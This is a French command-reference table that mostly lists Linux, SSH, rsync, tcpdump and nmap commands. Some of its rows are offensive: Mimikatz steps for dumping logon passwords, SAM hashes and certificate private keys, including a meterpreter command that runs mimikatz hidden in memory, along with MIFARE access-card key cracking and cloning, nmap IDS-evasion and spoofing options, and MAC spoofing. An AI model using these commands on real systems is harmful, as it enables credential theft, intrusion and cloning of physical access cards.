| nslookup | Permet d'interroger un serveur de noms afin d'obtenir les informations concernant un domaine ou un hôte et permet ainsi de diagnostiquer les éventuels problèmes de configuration du DNS | nslookup | Linux OS |
| 2 = write (w) | Le 1er chiffre est l'autorisation du propriétaire, le 2ème au groupe et le 3ème à tout le monde | chmod | gestion des permissions |
| $HOME | Annuaire personnel | Linux standard | Linux OS |
| $PATH | Chemin de recherche exécutable | Linux standard | Linux OS |
| $SHELL | shell actuelle | Linux standard | Linux OS |
| (tcpdump option) -e | En-têtes Print Link (Ethernet) (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -q | Le mode assez et moins verbeux affiche moins de détails (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -S | Imprimer les numéros de séquence au format exact (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -t | Ne pas imprimer les détails de l'horodatage dans le vidage (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -v | Peu de sortie verbeuse (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -x | Imprimer les données et les en-têtes au format HEX (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -X | Sortie d'impression au format HEX et ASCII à l' exclusion des en -têtes de lien (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -xx | Imprimer des données avec des en-têtes de lien au format HEX (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -XX | Sortie d'impression au format HEX et ASCII, y compris les en -têtes de lien (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -vv | Sortie plus verbeuse (option d'affichage) | tcpdump | capture de paquets |
| (tcpdump option) -vvv | Sortie la plus verbeuse (option d'affichage) | tcpdump | capture de paquets |
| 1 = execute (x) | Le 1er chiffre est l'autorisation du propriétaire, le 2ème au groupe et le 3ème à tout le monde | chmod | gestion des permissions |
| 4 = read (r) | Le 1er chiffre est l'autorisation du propriétaire, le 2ème au groupe et le 3ème à tout le monde | chmod | gestion des permissions |
| cat file1 file2 | Concaténer les fichiers et la sortie | cat | gestion dossiers et fichiers |
| cd dossier02 | Changer de répertoire vers dossier02 | cd | gestion dossiers et fichiers |
| cd.. | Remonter l'arborescence | cd | gestion dossiers et fichiers |
| chmod 775 file | Changer le mode du fichier en 775 | chmod | gestion des permissions |
| chmod -R 600 folder | Dossier chmod récursivement à 600 | chmod | gestion des permissions |
| chown user:group file | Changer le propriétaire du fichier en utilisateur et le groupe en groupe | chmod | gestion des permissions |
| cmd & | Exécutez cmd dans un sous-shell | Linux standard | Exécution de cmd |
| cmd &> file | Chaque sortie de cmd dans un fichier | Linux standard | Redirection E/S |
| cmd < file | Entrée de cmd à partir du fichier | Linux standard | Redirection E/S |
| cmd > /dev/null | Supprimer la sortie standard de cmd | Linux standard | Redirection E/S |
| cmd > file | Sortie standard (stdout) de cmd dans un fichier | Linux standard | Redirection E/S |
| cmd >> file | Ajouter stdout au fichier | Linux standard | Redirection E/S |
| cmd 1>&2 | stdout au même endroit que stderr | Linux standard | Redirection E/S |
| cmd 2> file | Sortie d'erreur (stderr) de cmd dans le fichier | Linux standard | Redirection E/S |
| cmd 2>&1 | stderr au même endroit que stdout | Linux standard | Redirection E/S |
| cmd1 | cmd2 | stdout de cmd1 à cmd2 avec la pipe | Linux standard | Redirection E/S |
| cmd1 && cmd2 | Exécutez cmd2 si cmd1 réussit | Linux standard | Exécution de cmd |
| cmd1 ; cmd2 | Exécutez cmd1 puis cmd2 | Linux standard | Exécution de cmd |
| cmd1 |& cmd2 | stderr de cmd1 à cmd2 avec la pipe | Linux standard | Redirection E/S |
| cmd1 || cmd2 | Exécutez cmd2 si cmd1 ne réussit pas | Linux standard | Exécution de cmd |
| cmd1 <(cmd2) | Sortie de cmd2 en tant qu'entrée de fichier dans cmd1 | Linux standard | Redirection E/S |
| copié-collé le contenu de la clé publique | Etape B4 (méthode 1) - Puis on colle dans le fichier "authorized_keys" le contenu de notre clé publique précédemment copié depuis ~/.ssh/id_rsa.pub qui était sur la machine cliente. | ssh | Générer une paire de clé RSA |
| cp file1 file2 | Copier le fichier1 dans le fichier2 | cp | gestion dossiers et fichiers |
| crypto | interagit avec les modules cryptographiques de Windows CryptoAPI [CAPI]et CNG [CNG], ainsi que l’extraction de certificats et de clés. | Mimikatz | Exploitation vulnérabilités |
| crypto::exportCertificates < MagasinSystème> | Etape E - Enfin, il nous suffit d'exécuter la commande suivante pour récupérer le certificat et la clé privée associée | Mimikatz | Exploitation vulnérabilités |
| crypto::listCertificates | Etape B - lister les certificats disponibles | Mimikatz | Exploitation vulnérabilités |
| crypto::listStores | Etape A - La première étape consiste à rechercher, dans les magasins de la machine, l’endroit où est stocké le certificat. Dans notre cas, le certificat étant associé à un utilisateur, nous listons les magasins de l'utilisateur courant (CERT_SYSTEM_STORE_CURRENT_USER) via la commande suivante | Mimikatz | Exploitation vulnérabilités |
| crypto::patchcapi | Etape C - Afin d'exporter la clé privée du certificat mathieu.mauger, nous patchons le mécanisme de sécurité CryptoAPI à l'aide de la fonction patchapi | Mimikatz | Exploitation vulnérabilités |
| crypto::patchcng | Etape D - Si la clé avait été protégée par la CNG, nous aurions dû patcher LSASS avant d’exporter via | Mimikatz | Exploitation vulnérabilités |
| ctrl-O | nano - Enregistrer le fichier | nano | gestion dossiers et fichiers |
| ctrl-R | nano - Lire le fichier | nano | gestion dossiers et fichiers |
| ctrl-X | nano - fermer le fichier | nano | gestion dossiers et fichiers |
| date | Afficher la date du système | Linux standard | Linux OS |
| divers | contient diverses fonctions majoritairement expérimentales. | Mimikatz | Exploitation vulnérabilités |
| echo $NAME | Valeur de sortie de la variable $ NAME | Linux standard | Linux OS |
| env | Afficher les variables d'environnement | Linux standard | Linux OS |
| ether src/ dst host (ethernet host name or IP) | Filtrage d'hôte Ethernet par source ou destination | tcpdump | capture de paquets |
| ether/ip broadcast | Filtre pour les diffusions Ethernet ou IP | tcpdump | capture de paquets |
| ether/ip multicast | Filtre pour les multidiffusions Ethernet ou IP | tcpdump | capture de paquets |
| export NAME=value | Définir $ NAME sur la valeur | Linux standard | Linux OS |
| file file1 | Obtenir le type de fichier1 | Linux standard | gestion dossiers et fichiers |
| find /root/ -name photo* | Trouver les fichiers commençant par photo | find | gestion dossiers et fichiers |
| find /root/ -user toto | Trouver les fichiers détenus par utilisateur toto | find | gestion dossiers et fichiers |
| find /root/ -mmin 10 | Trouver les fichiers modifier il y'a moins de 10 minutes | find | gestion dossiers et fichiers |
| grep " open " results.nmap | sed -r 's/ +/ /g' | sort | uniq -c | sort -rn | less | Liste triée inversée de la fréquence à laquelle les ports apparaissent | nmap | Commande spéciale |
| grep -i | Recherche insensible à la casse | grep | gestion dossiers et fichiers |
| grep -o | Afficher uniquement la partie correspondante du fichier | grep | gestion dossiers et fichiers |
| grep -r | Recherche récursive | grep | gestion dossiers et fichiers |
| grep toto fichier01.txt | Rechercher "toto" dans les fichier01.txt | grep | gestion dossiers et fichiers |
| grep -v | Recherche inversée | grep | gestion dossiers et fichiers |
| head -n1 /etc/issue | Afficher la distribution | Linux standard | Linux OS |
| head file1 | Afficher les 10 premières lignes du fichier1 | head | gestion dossiers et fichiers |
| inject | injection de bibliothèques dans des processus Windows. | Mimikatz | Exploitation vulnérabilités |
| kelloworld (bibliothèque) | est une bibliothèque servant d’exemple pour l’injection | Mimikatz | Exploitation vulnérabilités |
| kill pid | Tuer le processus avec id pid | kill | Gestion des processus |
| killall name | Tuez tous les processus avec des noms commençant par le nom indiquer | kill | Gestion des processus |
| klock (bibliothèque) | permet la manipulation de bureaux. | Mimikatz | Exploitation vulnérabilités |
| L' UID c'est quoi ? | UID - Identifiant unique d'une puce nfc (ex: ea b5 8f 4b) | informations nfc | NFC /Rfid |
| La cle privée c'est quoi? | une clé dite « privée » qui sert à déchiffrer. (id_rsa) | ssh | Générer une paire de clé RSA |
| La clé publique c'est quoi? | une clé dite « publique » qui sert à chiffrer (id_rsa.pub) | ssh | Générer une paire de clé RSA |
| Le block 0 c'est quoi ? | Le "block 0" c'est là qu'est écrit le numéro de série de la puce (UID) | informations nfc | NFC /Rfid |
| Les clés A et B c'est quoi ? | Ce sont les 2 clés qui protèges les block secteur de la puce NFC | informations nfc | NFC /Rfid |
| less file1 | Afficher et paginer le fichier1 | less | gestion dossiers et fichiers |
| locate file | Rechercher un fichier (recherche rapide de l'index système) | locate | gestion dossiers et fichiers |
| ls | lister des dossiers et fichiers | ls | gestion dossiers et fichiers |
| ls -a | Tout afficher (y compris masqué) | ls | gestion dossiers et fichiers |
| ls -I | Format de liste longue | ls | gestion dossiers et fichiers |
| ls -l | Lister un fichier par ligne | ls | gestion dossiers et fichiers |
| ls -m | Sortie séparée par des virgules | ls | gestion dossiers et fichiers |
| ls -Q | Sortie citée | ls | gestion dossiers et fichiers |
| ls -R | Liste récursive | ls | gestion dossiers et fichiers |
| ls -r | Lister par Ordre inverse | ls | gestion dossiers et fichiers |
| ls -S | Trier par taille de fichier | ls | gestion dossiers et fichiers |
| ls -t | Trier par taille de fichier | ls | gestion dossiers et fichiers |
| macchanger -m 23:05:13:37:42:21 eth0 | Changer l'adresses MAC de mon interface eth0 | macchanger | Usurpation d'adresse MAC |
| man nom_du_soft | Afficher le manuel de la commande | Linux standard | Linux OS |
| meterpreter > execute -H -i -c -m -d calc.exe -f mimikatz.exe -a é"sekurlsa::logonPasswords full" exite' | * H : crée un processus caché.
* i : interagit avec le processus une fois ce dernier créé.
* c : déporte la sortie standard de l’exécutable sur le shell meterpreter.
* d : indique le nom du processus à utiliser et qui apparaîtra ainsi dans le gestionnaire des tâches.
* m : exécute le programme depuis la mémoire.
* f : signale l’exécutable.
* a : signale les arguments. Il est à noter l'utilisation de guillemets pour les arguments de Mimikatz.B23 | Mimikatz + meterpreter | Commande spéciale |
| mfcuk -C -R 0:A | Extraction de la clé A sur le block 0 ( -C = initialise la connection au lecteur) | mfcuk | NFC /Rfid |
| mfoc -P 500 -O carte-acces.dmp | Création dump de la puce carte d'accès (originale) | mfoc | NFC /Rfid |
| mfoc -O mifare_dump.mfd -k xxxxxxxxxxxx | utiliser la clef trouvé (xxxxxx ) pour retrouver toutes les autres clefs | mfoc | NFC /Rfid |
| mfoc -P 500 -O puce-originale.dmp | Etape A - Extraction des infos + block0 (uid) + clés défaut (a+b) de puce original | mfoc | NFC /Rfid |
| mfoc -P 500 -O puce-vierge.dmp | Etape B - Extraction des infos + block0 (uid) + clés défaut (a+b) de puce original | mfoc | NFC /Rfid |
| mimikatz.sys (pilote) | Enfin, un pilote mimikatz.sys est également fourni et permet ainsi d’avoir un point d’entrée en mode utilisateur dans le noyau | Mimikatz | Exploitation vulnérabilités |
| minesweeper | module de démonstration permettant de manipuler le démineur de Windows XP et 7. | Mimikatz | Exploitation vulnérabilités |
| mkdir .ssh | Etape B2 (méthode 1) - Puis créer s’il n’existe pas, le répertoire .ssh à la racine du répertoire utilisateur du serveur distant | ssh | Générer une paire de clé RSA |
| mkdir dossier01 | Créer un répertoire dossier01 | mkdir | gestion dossiers et fichiers |
| mount | Afficher les systèmes de fichiers montés | Linux standard | Linux OS |
| mv file1 file2 | Déplacer le fichier1 vers le fichier2 | mv | gestion dossiers et fichiers |
| nano /.ssh/authorized_keys | Etape B3 (méthode 1) - Puis créer s’il n’existe pas, le fichier "authorized_keys", ou seront copiés les clés publiques autorisées à se connecter. | ssh | Générer une paire de clé RSA |
| nano fichier.txt | nano - crée le fichier.txt | nano | gestion dossiers et fichiers |
| ncat 192.168.1.10 1337 | Connection à l'hote 192.168.1.10 sur le port TCP 1337 | ncat | Outils de connection |
| ncat -l -p 1337 | Écouter sur le port TCP 1337 | ncat | Outils de connection |
| ncat --ssl 10.5.23.42 1337 | Connectez-vous au service TLS | ncat | Certificats TLS - SSL |
| ncat --ssl -l -p 1337 --ssl-cert cert.pem --ssl-key key.pem | Démarrez le serveur TLS | ncat | Certificats TLS - SSL |
| ndiff scanl.xml scan2.xml | Comparez la sortie de nmap en utilisant le ndif | nmap | Commande spéciale |
| nfc-list | Lecture simple d'une puce nfc | nfc-list | NFC /Rfid |
| nfc-list -v | Lecture avancée d'une puce nfc | nfc-list | NFC /Rfid |
| nfc-mfclassic r a u carte-original-avec-clés-a-b-par-défaut.bin | Dumper le contenu de la carte vers le fichier ,bin en utilisant des clefs a et b par défaut | nfc-mfclassic | NFC /Rfid |
| nfc-mfclassic W a carte-acces.dmp carte-vierge.dmp | Ecriture avec (block 0) de carte-accès.dmp sur une carte vierge | nfc-mfclassic | NFC /Rfid |
| nfc-mfclassic W a puce-originale.dmp puce-vierge.dmp | Etape C - Copie avec block0 de puce-originale vers puce-vierge | nfc-mfclassic | NFC /Rfid |
| nfc-scan-device | Lister les lecteurs disponibles | nfc-scan | NFC /Rfid |
| nmap 192.168.1.0/24 | Numériser en utilisant la notation CIDR | nmap | Scanner de reseaux |
| nmap 192.168.1.1 | Scanner une seule IP | nmap | Scanner de reseaux |
| nmap 192.168.1.1 192.168.2.1 | Analyser des adresses IP spécifiques | nmap | Scanner de reseaux |
| nmap 192.168.1.1 -A | Permet la détection du système d'exploitation, la détection de version,l'analyse de script et le traceroute | nmap | Detection OS |
| nmap 192.168.1.1 -d | Augmentez le niveau de débogage (utilisez -dd ou plus pour un meilleur effet) | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -F | Analyse rapide des ports (100 ports) | nmap | Scan d'hote |
| nmap 192.168.1.1 -f | L'analyse demandée (y compris les analyses ping) utilise de minuscules paquets IP fragmentés. Plus difficile pour les filtres de paquets | nmap | Usurpation de pare-feu / IDS |
| nmap 192.168.1.1 --mtu 32 | Définissez votre propre taille de MTU | nmap | Usurpation de pare-feu / IDS |
| nmap 192.168.1.1 -n | Ne jamais faire de résolution DNS pendant le scan | nmap | Scan d'hote |
| nmap 192.168.1.1 -O | Détection du système d'exploitation à distance à l'aide de l'empreinte de la pile TCP / IP | nmap | Detection OS |
| nmap 192.168.1.1 -oA results | Sortie dans les trois principaux formats à la fois | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -oG grep.file | Sortie "Grepable" dans le fichier grep.file | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -oN normal.file | Sortie normale dans le fichier normal.file | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 --open | Afficher uniquement les ports ouverts (ou éventuellement ouverts) | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -oX xml.file | Sortie XML dans le fichier xml.file | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -p 21 | Scan un seul port | nmap | Scan d'hote |
| nmap 192.168.1.1 -p 21-100 | Scan une plage de ports | nmap | Scan d'hote |
| nmap 192.168.1.1 -p http,https | Analyse des ports à partir du nom du service | nmap | Scan d'hote |
| nmap 192.168.1.1 -p U: 53, T: 21-25,80 | Analyse des ports spécifiques en TCP et UDP | nmap | Scan d'hote |
| nmap 192.168.1.1 -p0- | Balayage de tous les ports | nmap | Scan d'hote |
| nmap 192.168.1.1 --reason | Afficher la raison pour laquelle un port est dans un état particulier, même sortie que -vv | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -sA | Analyse du port TCP ACK | nmap | Technique de scan |
| nmap 192.168.1.1 -sC | Analyser avec les scripts NSE par défaut. Considéré comme utile pour la découverte et sûr | nmap | Scripts NSE |
| nmap 192.168.1.1 --script "not intrusive" | Analyser les paramètres par défaut, mais supprimer les scripts intrusifs | nmap | Scripts NSE |
| nmap 192.168.1.1 --script default | Analyser avec les scripts NSE par défaut. Considéré comme utile pour la découverte et sûr | nmap | Scripts NSE |
| nmap 192.168.1.1 --script=banner | Numérisez avec un seul script. Exemple de bannière | nmap | Scripts NSE |
| nmap 192.168.1.1 --script=http* | Numérisez avec un caractère générique. Exemple http | nmap | Scripts NSE |
| nmap 192.168.1.1 --script=http,banner | Scannez avec deux scripts. Exemple http et bannière | nmap | Scripts NSE |
| nmap 192.168.1.1 -sM | Analyse des ports TCP Maimon | nmap | Technique de scan |
| nmap 192.168.1.1 -sS | Analyse des ports TCP SYN (par défaut) | nmap | Technique de scan |
| nmap 192.168.1.1 -sT | Analyse du port de connexion TCP | nmap | Technique de scan |
| nmap 192.168.1.1 -sU | Analyse des ports UDP | nmap | Technique de scan |
| nmap 192.168.1.1 -sV | Tente de déterminer la version du service en cours d'exécution sur le port | nmap | Detection des services et versions |
| nmap 192.168.1.1 -sV --version-intensity 8 | Niveau d'intensité 0 à 9. Attention ! Un nombre plus élevé augmente les faux positifs. | nmap | Detection des services et versions |
| nmap 192.168.1.1 -sW | Analyse des ports de la fenêtre TCP | nmap | Technique de scan |
| nmap 192.168.1.1 -T0 | Paranoid (0) (analyse lente) Détection d' intrusion évasion système | nmap | Vitesse de scan |
| nmap 192.168.1.1 -T1 | Sneaky (1) Système de détection d' intrusion évasion | nmap | Vitesse de scan |
| nmap 192.168.1.1 -T2 | Polite (2) ralentit l'analyse pour utiliser moins de bande passante et utiliser moins de ressources de la machine cible | nmap | Vitesse de scan |
| nmap 192.168.1.1 -T3 | Normal (3) qui est la vitesse par défaut | nmap | Vitesse de scan |
| nmap 192.168.1.1 -T4 | Les balayages agressifs (4) accélèrent; suppose que vous êtes sur un réseau raisonnablement rapide et fiable | nmap | Vitesse de scan |
| nmap 192.168.1.1 -T4 --packet-trace | Afficher tous les paquets envoyés et reçus | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1 -T5 | Balayage de vitesses folles (5); suppose que vous êtes sur un réseau extrêmement rapide | nmap | Vitesse de scan |
| nmap 192.168.1.1 -v | Augmentez le niveau de verbosité (utilisez -vv ou plus pour un meilleur effet) | nmap | Sortie des résultats d'analyses |
| nmap 192.168.1.1/24 -sn | Désactivez l'analyse des ports. Découverte d'hôte uniquement. | nmap | Scan d'hote |
| nmap 192.168.1.1-1/24 -PR -sn -vv | Découverte Arp uniquement sur le réseau local, pas de scan de port | nmap | Commande spéciale |
| nmap 192.168.1.1-254 | Scanner une plage d'IP | nmap | Scanner de reseaux |
| nmap 192.168.1.1-3 -sL | Pas de scan. Lister les cibles uniquement | nmap | Scan d'hote |
| nmap 192.168.1.1-5 -Pn | Désactivez la découverte d'hôte. Analyse des ports uniquement. | nmap | Scan d'hote |
| nmap 192.168.1.1-50 -sL --dns-server 192.168.1.1 | Interrogez le DNS interne pour les hôtes, répertoriez uniquement les cibles | nmap | Commande spéciale |
| nmap -6 2607: f0d0: 1002: 51 :: 4 | Scanner adresse IPv6 | nmap | Scanner de reseaux |
| nmap -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1 | Envoyer des scans à partir d'adresses IP usurpées | nmap | Usurpation de pare-feu / IDS |
| nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip | Envoyer des scans à partir d'adresses de leurre (a choisir) | nmap | Usurpation de pare-feu / IDS |
| nmap --data-length 200 192.168.1.1 | Ajoute des données aléatoires aux paquets envoyés | nmap | Usurpation de pare-feu / IDS |
| nmap --exclude 192.168.1.1 | Exclure les hôtes répertoriés | nmap | Scanner de reseaux |
| nmap -f -t 0 -n -Pn - longueur des données 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1 | Exemple de commande IDS Evasion | nmap | Usurpation de pare-feu / IDS |
| nmap -g 53 192.168.1.1 | Utiliser le numéro de port source donné | nmap | Usurpation de pare-feu / IDS |
| nmap -h | écran d'aide nmap | nmap | Scanner de reseaux |
| nmap --iflist | Affiche les interfaces et les itinéraires de l'hôte | nmap | Sortie des résultats d'analyses |
| nmap -iL targets.txt | Analyser les cibles à partir d'un fichier | nmap | Scanner de reseaux |
| nmap -iR 10 -n -oX out.xml | grep "Nmap" | cut -d " " -f5 > live-hosts.txt | Générer une liste des adresses IP des hôtes en direct | nmap | Commande spéciale |
| nmap -iR 10 -sn -traceroute | Traceroute vers des cibles aléatoires, pas de scan de port | nmap | Commande spéciale |
| nmap -iR 100 | Analyser 100 hôtes aléatoires | nmap | Scanner de reseaux |
| nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000 | Recherche rapide de serveurs Web aléatoires | nmap | Scripts NSE |
| nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1 | Safe SMB scripts to run | nmap | Scripts NSE |
| nmap -p80 --script http-sql-injection scanme.nmap.org | Rechercher des injections SQL | nmap | Scripts NSE |
| nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org | Détecter les vulnérabilités des scripts intersites | nmap | Scripts NSE |
| nmap -p80 -sV -oG - --open 192.168.1.1/24 | grep open | Rechercher les serveurs Web et grep pour afficher les adresses IP exécutant des serveurs Web | nmap | Commande spéciale |
| nmap -Pn --script = http-sitemap-generator scanme.nmap.org | générateur de plan de site http | nmap | Scripts NSE |
| nmap -Pn --script=dns-brute domain.com | Brute force les noms d'hôtes DNS à deviner les sous-domaines | nmap | Scripts NSE |
| nmap --proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1 | Connexions relais via des proxys HTTP / SOCKS4 | nmap | Usurpation de pare-feu / IDS |
| nmap --resume results.file | Reprendre une analyse | nmap | Sortie des résultats d'analyses |
| nmap -S www.microsoft.com www.facebook.com | Scanner Facebook à partir de Microsoft (-e eth0 -Pn peut être requis) | nmap | Usurpation de pare-feu / IDS |
| nmap scanme.nmap.org | Analyser un domaine | nmap | Scanner de reseaux |
| nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1 | Script NSE avec arguments | nmap | Scripts NSE |
| nmap --script whois* domain.com | Requête Whois | nmap | Scripts NSE |
| nogpo | permet de contourner certaines GPO Windows triviales. | Mimikatz | Exploitation vulnérabilités |
| openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -subj "/CN=example.org/" | Créer un certificat auto-signé | openssl | Certificats TLS - SSL |
| openssl s_client -connect 10.5.23.42:1337 | Connectez-vous au service TLS en utilisant openssl | openssl | Certificats TLS - SSL |
| openssl s_client -connect 10.5.23.42:1337 | openssl x509 -text | Afficher les détails du certificat | openssl | Certificats TLS - SSL |
| pkill name | Tuer le processus avec le nom du processus | kill | Gestion des processus |
| privilege::debug | il est nécessaire de nous attribuer le privilège Debug si nous ne sommes pas déjà SYSTEM | Mimikatz | Exploitation vulnérabilités |
| ps | Afficher un instantané des processus | ps | Gestion des processus |
| pwd | Afficher le répertoire actuel | Linux standard | gestion dossiers et fichiers |
| rm file1 | Supprimer le fichier1 | rm | gestion dossiers et fichiers |
| rsync option (-a ) | mode archivage, permet de copier de manière récursive, de préserver les permissions et de ne pas suivre les liens symboliques | rsync | Synchonisation des données |
| rsync option (--dry-run) | effectuer un essai sans modification | rsync | Synchonisation des données |
| rsync option (-e ssh ) | permet d’utiliser ssh pour le transfert de données | rsync | Synchonisation des données |
| rsync option (-v ) | verbose, affiche la liste des fichiers copiés | rsync | Synchonisation des données |
| rsync option (-z ) | compress, permet de compresser les données avant de les transférer | rsync | Synchonisation des données |
| rsync -ave ssh serveur_ip_ou_nom:/chemin/vers/source /chemin/vers/destination | Synchoniser source et destination d'un serveur à l'autre (méthode 2) | rsync + ssh | Synchonisation des données |
| rsync chemin/vers/source chemin/vers/destination | Synchoniser source et destination depuis la même machine | rsync | Synchonisation des données |
| rsync -e ssh -avz /chemin/vers/source serveur_ip_ou_nom:/chemin/vers/destination | Synchoniser source et destination d'un serveur à l'autre (méthode 1) | rsync + ssh | Synchonisation des données |
| samdump | permet d’extraire les hashes de la base SAM de l’équipement Windows, via la base de registre ou des fichiers plats. | Mimikatz | Exploitation vulnérabilités |
| sekurlsa | extrait les hashes et mots de passe des sessions Windows en cours. | Mimikatz | Exploitation vulnérabilités |
| sekurlsa (bibliothèque) | fournit les mêmes fonctionnalités que le module éponyme. Il est préconisé de privilégier l’utilisation du module.Elle ne contient maintenant que les fonctionnalités devant s'exécuter dans le processus LSASS (processus gérant l'authentification des utilisateurs de l'équipement). | Mimikatz | Exploitation vulnérabilités |
| sekurlsa::logonPasswords full | A voir | Mimikatz | Exploitation vulnérabilités |
| socat TCP-LISTEN:2305,fork,reuseaddr ssl:example.com:443 | Proxy TCP vers TLS | openssl | Certificats TLS - SSL |
| sqlmap -u "site:www.site-exemple.com inurl:produit.php" | Recherche d'erreurs SQL sur le "www.site-exemple.com" via le dorks "produit.php" | Sqlmap | Injection SQL |
| src/ dsthost (host name or IP) | Filtrer par adresse IP ou hôte source ou de destination | tcpdump | capture de paquets |
| src/ dstnet (subnet mask in CIDR) | Filtrer par sous-réseau | tcpdump | capture de paquets |
| ssh user@mon_serveur | Etape B1 (méthode 1) - se connecter manuellement en ssh sur le serveur distant | ssh | Générer une paire de clé RSA |
| ssh-add | Etape C - "L'agent ssh" retient les clés privées pendant toute la durée de votre session.Maintenant, a chaque fois que vous vous connecterez à ce serveur distant, vous n'aurez plus besoin d'entrer la passphrase | ssh | Générer une paire de clé RSA |
| ssh-copy-id -i id_rsa.pub user@ip-serveur-distant | Etape B5 (méthode 2) - Envoyer la clé publique "id_rsa.pub" au serveur distant et à l'ajouter à son fichier "authorized_keys(clés autorisées)". Le serveur y garde une liste des clés qu'il autorise à se connecter. | ssh | Générer une paire de clé RSA |
| ssh-keygen -p -t rsa | Etape E - Si vous souhaitez par la suite modifier le mot de passe de la clé, il faudra utiliser cette commande | ssh | Générer une paire de clé RSA |
| ssh-keygen -t rsa | Etape A1 - créer une clé publique et clé privée sur sa machine cliente ( L’emplacement par défaut ou seront générés les clés /home/votre_user/.ssh/id_rsa ) | ssh | Générer une paire de clé RSA |
| ssh-keygen -t rsa | Etape A2 - Indiquer le "nom du fichier de clé" /home/toto/.ssh/ id_rsa_rsync et le "pass" vide pour connexion auto de rsync | ssh | Générer une paire de clé RSA |
| sslyze --regular 10.5.23.42:443 | Tester le certificat et les chiffrements du serveur TLS | openssl | Certificats TLS - SSL |
| standard | intègre les commandes de base de l'outil | Mimikatz | Exploitation vulnérabilités |
| sudo /etc/init.d/ssh restart | Etape D - Lors du simple ajout de clé, il est nécessaire de redémarrer le server openssh afin qu’il prenne en compte le nouveau client | ssh | Générer une paire de clé RSA |
| system | intègre des commandes système de base telles que l’obtention de l’utilisateur et de l’ordinateur courant. | Mimikatz | Exploitation vulnérabilités |
| tail -F file1 | Sortie des dernières lignes du fichier1 à mesure qu'il change | tail | gestion dossiers et fichiers |
| tail file1 | Afficher les 10 dernières lignes du fichier1 | tail | gestion dossiers et fichiers |
| tcp/udp src/dst port ( port number) | Filtrer les paquets TCP ou UDP par port source ou de destination | tcpdump | capture de paquets |
| tcp/udp src/dst port range ( port number range) | Filtrer les paquets TCP ou UDP par plage de ports source ou de destination | tcpdump | capture de paquets |
| tcpdump <32 | Affiche la taille des paquets inférieure à 32 | tcpdump | capture de paquets |
| tcpdump >=32 | Affiche la taille des paquets supérieure à 32 | tcpdump | capture de paquets |
| tcpdump -d tcpdump.pcap | afficher une forme lisible par l'homme dans la sortie standard | tcpdump | capture de paquets |
| tcpdump dst 10.1.1.1 && !icmp | L'une ou l'autre des conditions peut correspondre | tcpdump | capture de paquets |
| tcpdump dst 10.1.1.1 and not icmp | Négation de la condition | tcpdump | capture de paquets |
| tcpdump dst 10.1.1.100 | Capturer à partir d'une adresse de destination spécifique | tcpdump | capture de paquets |
| tcpdump ether host aa: bb: cc: 11: 22: 33 | "host" pour limiter la sortie à une adresse MAC spécifique | tcpdump | capture de paquets |
| tcpdump ether port 80 | Capturer le trafic à partir d'un port défini uniquement | tcpdump | capture de paquets |
| tcpdump -F tcpdump.pcap | Utilisez le fichier donné comme entrée pour le filtre | tcpdump | capture de paquets |
| tcpdump host 192.168.1.100 | Capturer des paquets d'un hôte spécifique | tcpdump | capture de paquets |
| tcpdump http | Filtrer le trafic en fonction d'un numéro de port pour un service | tcpdump | capture de paquets |
| tcpdump -i any | Capture depuis toutes les interfaces | tcpdump | capture de paquets |
| tcpdump -i eth0 | Capture depuis une interface spécifique | tcpdump | capture de paquets |
| tcpdump -I eth0 | définir l'interface comme mode moniteur | tcpdump | capture de paquets |
| tcpdump -i eth0 -c 10 | Capturez les 10 premiers paquets et quittez | tcpdump | capture de paquets |
| tcpdump -i eth0 -w tcpdump.txt | Pour enregistrer la capture dans un fichier | tcpdump | capture de paquets |
| tcpdump -K tcpdump.pcap | Ne pas vérifier la somme de contrôle | tcpdump | capture de paquets |
| tcpdump -L | Afficher les types de liaison de données pour l'interface | tcpdump | capture de paquets |
| tcpdump -n -I eth0 | Ne résolvez pas les noms d'hôte | tcpdump | capture de paquets |
| tcpdump -N tcpdump.pcap | ne pas imprimer les noms de domaine | tcpdump | capture de paquets |
| tcpdump -n src 192.168.1.1 and dst port 21 | Combiner les options de filtrage | tcpdump | capture de paquets |
| tcpdump net 10.1.1.0/16 | Capturer des fichiers à partir du sous-réseau du réseau | tcpdump | capture de paquets |
| tcpdump -p -i eth0 | Ne pas capturer en mode promiscuité | tcpdump | capture de paquets |
| tcpdump port 80 | Filtrer le trafic en fonction d'un service | tcpdump | capture de paquets |
| tcpdump portrange 21-125 | Filtre basé sur la plage de ports | tcpdump | capture de paquets |
| tcpdump -r file_path_and_name | Lecture d'une capture | tcpdump | capture de paquets |
| tcpdump -S http | Afficher le paquet entier | tcpdump | capture de paquets |
| tcpdump src 10.1.1.100 | Capturer à partir d'une adresse source spécifique | tcpdump | capture de paquets |
| tcpdump -D | Afficher les interfaces disponibles | tcpdump | capture de paquets |
| tcpdump -i eth0 -A | Imprimer en ASCII | tcpdump | capture de paquets |
